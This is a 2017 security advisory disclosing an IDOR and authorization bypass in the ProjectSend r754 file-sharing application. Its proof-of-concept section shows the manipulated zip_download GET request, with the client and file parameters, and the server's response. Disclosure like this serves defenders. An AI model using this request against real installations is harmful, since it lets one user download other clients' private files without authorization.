155 lines
No EOL
5.9 KiB
Text
155 lines
No EOL
5.9 KiB
Text
Document Title:
|
|
===============
|
|
ProjectSend r754 - IDOR & Authentication Bypass Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2031
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2017-02-21
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2031
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
5.3
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets
|
|
you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending
|
|
on external services or e-mail to send those files.
|
|
|
|
(Copy of the Homepage: http://www.projectsend.org/ )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered a idor and authentication bypass vulnerability in the ProjectSend-r754 web-application.
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2017-02-20: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
GNU GPL License
|
|
Product: ProjectSend r754
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
An insecure direct object references occured in case of an application provides direct access to objects based on user-supplied input.
|
|
As a result of this vulnerability attackers can bypass authorization and to access resources in the system. Insecure Direct Object References
|
|
allows attackers to bypass authorization and access resources directly by modifying the value of a parameter[client] used. Thus finally point
|
|
to other client account names, which allows an attackers to download others clients private data with no secure method provided.
|
|
|
|
Vulnerability Method(s):
|
|
[+] GET
|
|
|
|
Vulnerable Module(s):
|
|
[+] process.php?do=zip_download
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] client
|
|
[+] file
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
1. User "A" as attacker checks a file to download as zip extension, then click download to modifiy values as required ...
|
|
|
|
2. Application responds with the client file list, so then you are able to download all other side user B data files with zip extension
|
|
|
|
--- PoC Session Logs ---
|
|
GET /ProjectSend-r754/process.php?do=zip_download&client=[CLIENTNAME]&files%5B%5D=2 HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
X-Requested-With: XMLHttpRequest
|
|
Referer: http://localhost/ProjectSend-r754/my_files/
|
|
Cookie: PHPSESSID=kb0uotq6mssklf213v4a7fje47
|
|
Connection: keep-alive
|
|
-
|
|
HTTP/1.1 200 OK
|
|
Date: Sun, 05 Feb 2017 19:07:41 GMT
|
|
Server: Apache/2.2.22 (Debian)
|
|
X-Powered-By: PHP/5.4.44-0+deb7u1
|
|
Expires: Sat, 26 Jul 1997 05:00:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
|
|
Pragma: no-cache
|
|
Vary: Accept-Encoding
|
|
Keep-Alive: timeout=5, max=100
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html
|
|
Content-Length: 6
|
|
|
|
Name of Files: .jpg
|
|
|
|
|
|
Video PoC:
|
|
https://www.youtube.com/watch?v=Xc6Jg9I7Pj4
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the web vulnerability in the ProjectSend-r754 web-application function is estimated as medium. (CVSS 5.3)
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Lawrence Amer - Vulnerability Laboratory [Research Team] - (http://lawrenceamer.me) (https://www.vulnerability-lab.com/show.php?user=Lawrence Amer)
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
|
|
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
|
|
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
|
|
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
|
|
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
|
|
deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
|
|
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
|
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
|
|
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.
|
|
|
|
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™ |